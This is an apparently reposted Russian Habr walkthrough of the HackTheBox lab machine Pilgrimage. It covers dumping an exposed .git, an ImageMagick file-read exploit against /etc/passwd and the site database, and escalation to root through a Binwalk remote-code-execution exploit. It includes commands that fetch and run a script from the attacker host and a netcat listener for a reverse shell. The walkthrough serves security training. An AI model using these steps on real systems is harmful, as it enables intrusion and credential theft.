{"id":365080,"date":"2024-05-21T02:30:35","date_gmt":"2024-05-21T02:30:35","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=365080"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=365080","title":{"rendered":"<span>HTB Pilgrimage. \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c reverse-shell \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Binwalk<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u041f\u0440\u0438\u0432\u0435\u0442, \u0425\u0430\u0431\u0440, \u043d\u0430 \u0441\u0432\u044f\u0437\u0438 \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u044f \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 AP Security! \u0421\u0435\u0433\u043e\u0434\u043d\u044f \u043f\u0440\u043e\u0439\u0434\u0435\u043c \u0441 \u0432\u0430\u043c\u0438 Linux-\u043c\u0430\u0448\u0438\u043d\u0443 \u043d\u0430 <strong>HackTheBox<\/strong> \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c <strong>Pilgrimage<\/strong>.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a7f\/313\/d8f\/a7f313d8f663734b4cbae51583f10907.png\" width=\"1024\" height=\"576\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/a7f\/313\/d8f\/a7f313d8f663734b4cbae51583f10907.png\"\/><\/figure>\n<blockquote>\n<p><strong>\u0414\u0438\u0441\u043a\u043b\u0435\u0439\u043c\u0435\u0440:  \u0432\u0441\u0435 \u0443\u0442\u0438\u043b\u0438\u0442\u044b \u0438 \u0442\u0435\u0445\u043d\u0438\u043a\u0438, \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 \u0441\u0442\u0430\u0442\u044c\u0435, \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u044b \u0432 \u0443\u0447\u0435\u0431\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445.<\/strong><\/p>\n<\/blockquote>\n<h3>\u0421\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0430<\/h3>\n<p>\u0414\u043b\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u043f\u0440\u043e\u0441\u043a\u0430\u043d\u0438\u0440\u0443\u0435\u043c \u043c\u0430\u0448\u0438\u043d\u0443 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Nmap:<\/p>\n<pre><code>nmap -sC -sV -p- -T4 10.10.11.219<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/80f\/526\/532\/80f5265323dc6372b2c1696d86c6cd4f.png\" width=\"823\" height=\"218\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/80f\/526\/532\/80f5265323dc6372b2c1696d86c6cd4f.png\"\/><\/figure>\n<p>\u041d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0432\u0435 \u0441\u043b\u0443\u0436\u0431\u044b: ssh \u0438 http. \u0414\u043e\u0431\u0430\u0432\u0438\u043c ip-\u0430\u0434\u0440\u0435\u0441 \u043c\u0430\u0448\u0438\u043d\u044b \u0432 <code>\/etc\/hosts<\/code> \u0438 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0437\u0430\u0439\u0442\u0438 \u043d\u0430 \u0432\u0435\u0431-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443:<\/p>\n<pre><code>10.10.11.219 pilgrimage.htb<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/84a\/ddd\/5e7\/84addd5e74f2e53c81b90e7197655616.png\" width=\"1915\" height=\"1008\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/84a\/ddd\/5e7\/84addd5e74f2e53c81b90e7197655616.png\"\/><\/figure>\n<p>\u0421\u0435\u0440\u0432\u0438\u0441 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439. \u041d\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u0432\u0440\u043e\u0434\u0435 \u043d\u0438\u0447\u0435\u0433\u043e \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e. \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c <code>dirsearch<\/code> \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0445 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439:<\/p>\n<pre><code>dirsearch -u http:\/\/pilgrimage.htb<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/b4a\/b96\/963\/b4ab969631dc0476dc0e7b2bbaa3dacf.png\" width=\"1236\" height=\"629\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/b4a\/b96\/963\/b4ab969631dc0476dc0e7b2bbaa3dacf.png\"\/><\/figure>\n<p>\u0417\u0430\u043c\u0435\u0442\u0438\u043c \u0441\u0440\u0435\u0434\u0438 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0445 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439 <code>\/.git<\/code>. \u0412\u044b\u043a\u0430\u0447\u0430\u0435\u043c \u0432\u0441\u0435 \u0444\u0430\u0439\u043b\u044b \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0443\u0442\u0438\u043b\u0438\u0442\u044b <a href=\"https:\/\/github.com\/arthaud\/git-dumper\" rel=\"noopener noreferrer nofollow\"><strong>git-dumper<\/strong><\/a>:<\/p>\n<pre><code>python3 git_dumper.py http:\/\/pilgrimage\/.git ~\/pilgrimage.htb<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/5ad\/982\/add\/5ad982add721d420572b9f1d2e606e32.png\" width=\"1116\" height=\"408\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/5ad\/982\/add\/5ad982add721d420572b9f1d2e606e32.png\"\/><\/figure>\n<p>\u0421\u0440\u0435\u0434\u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u0431\u0443\u0434\u0443\u0442 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0444\u0430\u0439\u043b\u044b:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/d7d\/d02\/a24\/d7dd02a244d8f1e527d3354a00622e82.png\" width=\"830\" height=\"62\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/d7d\/d02\/a24\/d7dd02a244d8f1e527d3354a00622e82.png\"\/><\/figure>\n<h3>\u0422\u043e\u0447\u043a\u0430 \u0432\u0445\u043e\u0434\u0430<\/h3>\n<p>\u0417\u0430\u043c\u0435\u0442\u0438\u043c \u0443\u0442\u0438\u043b\u0438\u0442\u0443 <strong>magick<\/strong>, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u043c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439. \u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0435\u0435, \u0447\u0442\u043e\u0431\u044b \u0443\u0437\u043d\u0430\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u044e:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/609\/225\/21b\/60922521b0709784cf45961523d91d0d.png\" width=\"991\" height=\"134\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/609\/225\/21b\/60922521b0709784cf45961523d91d0d.png\"\/><\/figure>\n<p>\u041f\u043e\u0433\u0443\u0433\u043b\u0438\u0432, \u043d\u0430\u0439\u0434\u0435\u043c <a href=\"https:\/\/github.com\/Sybil-Scan\/imagemagick-lfi-poc\" rel=\"noopener noreferrer nofollow\">\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442<\/a> \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 <strong>magick<\/strong>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u0421\u043a\u0430\u0447\u0430\u0435\u043c \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442:<\/p>\n<pre><code>python3 generate.py -f \"\/etc\/passwd\" -o exploit.png<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a21\/277\/b4e\/a21277b4ea5619728621ab0bc9fac045.png\" width=\"866\" height=\"139\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/a21\/277\/b4e\/a21277b4ea5619728621ab0bc9fac045.png\"\/><\/figure>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e \u043a\u0430\u043a \u043c\u044b \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0443, \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u043c \u0435\u0435 \u043d\u0430 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0438\u0441\u0435. \u0422\u0435\u043f\u0435\u0440\u044c, \u0447\u0442\u043e\u0431\u044b \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0440\u0430\u0431\u043e\u0442\u044b \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u043d\u0430\u0448\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435. \u0427\u0435\u0440\u0435\u0437 <strong>Burp Suite<\/strong> \u043e\u0442\u0441\u043b\u0435\u0434\u0438\u043c \u0432 \u043a\u0430\u043a\u0443\u044e \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432\u0441\u0435 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/8e0\/5a8\/6c9\/8e05a86c9a956d99b892542fa04280ee.png\" width=\"1258\" height=\"593\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/8e0\/5a8\/6c9\/8e05a86c9a956d99b892542fa04280ee.png\"\/><\/figure>\n<\/p>\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f <code>wget<\/code>, \u0447\u0442\u043e\u0431\u044b \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435:<\/p>\n<pre><code>wget http:\/\/pilgrimage.htb\/shrunk\/654a5d9ea01d4.png<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/0fe\/758\/6f4\/0fe7586f41fba3dd726a1ca45469c295.png\" width=\"1356\" height=\"202\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/0fe\/758\/6f4\/0fe7586f41fba3dd726a1ca45469c295.png\"\/><\/figure>\n<p>\u0414\u043e\u0441\u0442\u0430\u043d\u0435\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0443\u0442\u0438\u043b\u0438\u0442\u044b <code>identify<\/code>:<\/p>\n<pre><code>identify -verbose 654a5d9ea01d4.png<\/code><\/pre>\n<p>\u0421\u0440\u0435\u0434\u0438 \u0432\u0441\u0435\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0431 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0438 \u0443\u0432\u0438\u0434\u0438\u043c \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432 hex \u0442\u0435\u043a\u0441\u0442. \u041f\u043e\u043c\u0435\u0441\u0442\u0438\u043c \u0435\u0433\u043e \u0432 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b \u0438 \u0440\u0430\u0441\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <code>xxd<\/code>:<\/p>\n<pre><code>cat hex.txt | xxd -r -p<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/801\/c4a\/a74\/801c4aa74bf9498f63e2378f9efc12dd.png\" width=\"1116\" height=\"468\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/801\/c4a\/a74\/801c4aa74bf9498f63e2378f9efc12dd.png\"\/><\/figure>\n<p>\u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442! \u041a\u0430\u043a \u0436\u0435 \u043d\u0430\u043c \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u0438\u043c, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u0441\u0442\u0430\u0442\u044c \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u043d\u0430\u043c \u0434\u0430\u043d\u043d\u044b\u0435? \u041f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u044f \u0444\u0430\u0439\u043b\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u044b \u0432\u044b\u043a\u0430\u0447\u0438\u0432\u0430\u043b\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <strong>git-dumper<\/strong>, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043c \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/36d\/3c8\/aab\/36d3c8aab84f145faee1edae5f3dac58.png\" width=\"682\" height=\"55\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/36d\/3c8\/aab\/36d3c8aab84f145faee1edae5f3dac58.png\"\/><\/figure>\n<p>\u0412\u043c\u0435\u0441\u0442\u043e <code>\/etc\/passwd<\/code> \u0443\u043a\u0430\u0436\u0435\u043c \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e \u0441 \u0431\u0430\u0437\u043e\u0439 \u0434\u0430\u043d\u043d\u044b\u0445:<\/p>\n<pre><code>python3 generate.py -f \"\/var\/db\/pilgrimage\" -o sql.png<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/368\/8cb\/6b5\/3688cb6b56dbf33a2f9a3f5e87ae916c.png\" width=\"982\" height=\"125\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/368\/8cb\/6b5\/3688cb6b56dbf33a2f9a3f5e87ae916c.png\"\/><\/figure>\n<p>\u0422\u0430\u043a\u0436\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u043c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u043d\u0430 \u0441\u0430\u0439\u0442, \u0432\u044b\u0433\u0440\u0443\u0437\u0438\u043c \u0435\u0433\u043e \u0441 <code>wget<\/code> \u0438 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/334\/e31\/344\/334e31344f1d8c5aea96e94a7e571ef3.png\" width=\"1358\" height=\"120\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/334\/e31\/344\/334e31344f1d8c5aea96e94a7e571ef3.png\"\/><\/figure>\n<p>\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f Emily \u043c\u044b \u0443\u0436\u0435 \u0432\u0438\u0434\u0435\u043b\u0438 \u0440\u0430\u043d\u0435\u0435. \u0410 \u044d\u0442\u043e \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u0432\u0441\u0435\u0433\u043e \u043a\u0440\u0435\u0434\u044b \u0434\u043b\u044f ssh. \u0427\u0442\u043e\u0431\u044b \u0443\u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u0438\u0442\u044c\u0441\u044f \u0432 \u044d\u0442\u043e\u043c, \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u043c\u0430\u0448\u0438\u043d\u0435:<\/p>\n<pre><code>ssh emily@10.10.11.219<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/4b1\/1ff\/301\/4b11ff301f5bcaa8be3240572c34b6a1.png\" width=\"1181\" height=\"293\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/4b1\/1ff\/301\/4b11ff301f5bcaa8be3240572c34b6a1.png\"\/><\/figure>\n<p>\u0423\u0441\u043f\u0435\u0448\u043d\u043e! \u0417\u0434\u0435\u0441\u044c \u0438 \u0431\u0443\u0434\u0435\u0442 \u043b\u0435\u0436\u0430\u0442\u044c \u0444\u043b\u0430\u0433 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <strong>user.txt<\/strong>.<\/p>\n<h3>\u041f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439<\/h3>\n<p>\u0414\u043b\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0443\u0442\u0438\u043b\u0438\u0442\u043e\u0439 <strong>LinPEAS<\/strong>. \u0414\u043b\u044f \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0443 \u0442\u0430\u043a\u0436\u0435 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f <code>python3 http.server<\/code> \u0438 <code>wget<\/code>:<\/p>\n<pre><code>python3 -m http.server 80<\/code><\/pre>\n<pre><code>wget http:\/\/10.10.16.44\/linpeas.sh<\/code><\/pre>\n<pre><code>chmod +x linpeas.sh<\/code><\/pre>\n<pre><code>.\/linpeas.sh<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/f07\/3f6\/ddf\/f073f6ddf7b04c126b86d2f35d7d1037.png\" width=\"1375\" height=\"590\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/f07\/3f6\/ddf\/f073f6ddf7b04c126b86d2f35d7d1037.png\"\/><\/figure>\n<p>\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0432 \u0432\u0441\u0435 \u043f\u043e\u0434\u0441\u0432\u0435\u0447\u0435\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0438 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438, \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043c \u043d\u0438\u0447\u0435\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e. \u041e\u0434\u043d\u0430\u043a\u043e \u0443\u0432\u0438\u0434\u0438\u043c \u0444\u0430\u0439\u043b \u0441 \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c <a href=\"http:\/\/malwarescan.sh\" rel=\"noopener noreferrer nofollow\"><strong>malwarescan.sh<\/strong><\/a>. \u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0435\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/e76\/3f2\/f22\/e763f2f22d9af321b167652267fec4b4.png\" width=\"1094\" height=\"240\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/e76\/3f2\/f22\/e763f2f22d9af321b167652267fec4b4.png\"\/><\/figure>\n<p>\u0414\u0430\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0444\u0430\u0439\u043b\u044b \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0443\u0442\u0438\u043b\u0438\u0442\u044b <strong>binwalk<\/strong>. \u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0435\u0435, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u044e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/2fb\/bb3\/0ea\/2fbbb30ea89b15721a2da245d95a2b13.png\" width=\"1061\" height=\"86\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/2fb\/bb3\/0ea\/2fbbb30ea89b15721a2da245d95a2b13.png\"\/><\/figure>\n<p>\u041f\u043e\u0434 \u0434\u0430\u043d\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u0435\u0441\u0442\u044c <a href=\"https:\/\/www.exploit-db.com\/exploits\/51249\" rel=\"noopener noreferrer nofollow\"><strong>\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442<\/strong><\/a>, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430.<\/p>\n<pre><code>python3 51249.py image.png 10.10.16.44 8000<\/code><\/pre>\n<p>\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435, \u0430\u0434\u0440\u0435\u0441 \u043d\u0430\u0448\u0435\u0439 \u043c\u0430\u0448\u0438\u043d\u044b \u0438 \u043f\u043e\u0440\u0442, \u0441 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u0442\u044c \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435.<\/p>\n<p>\u0421\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u043e\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0442\u0430\u043a\u0436\u0435 \u043f\u0435\u0440\u0435\u043a\u0438\u0434\u044b\u0432\u0430\u0435\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <code>wget<\/code>:<\/p>\n<pre><code>wget http:\/\/10.10.16.44\/binwalk_exploit.png<\/code><\/pre>\n<p>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c <code>netcat<\/code> \u0438 \u0441\u043a\u043e\u043f\u0438\u0440\u0443\u0435\u043c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0432 <code>\/var\/www\/pilgrimage.htb\/shrunk\/<\/code>:<\/p>\n<pre><code>nc -lvnp 8000<\/code><\/pre>\n<pre><code>cp binwalk_exploit.png \/var\/www\/pilgrimage.htb\/shrunk\/exploit.png<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/26b\/08d\/39b\/26b08d39b50fb1c92ae1c7604331bf01.png\" width=\"1078\" height=\"254\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/26b\/08d\/39b\/26b08d39b50fb1c92ae1c7604331bf01.png\"\/><\/figure>\n<p>\u041c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0439\u0434\u0435\u043d\u0430!<\/p>\n<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/785832\/\"> https:\/\/habr.com\/ru\/articles\/785832\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div 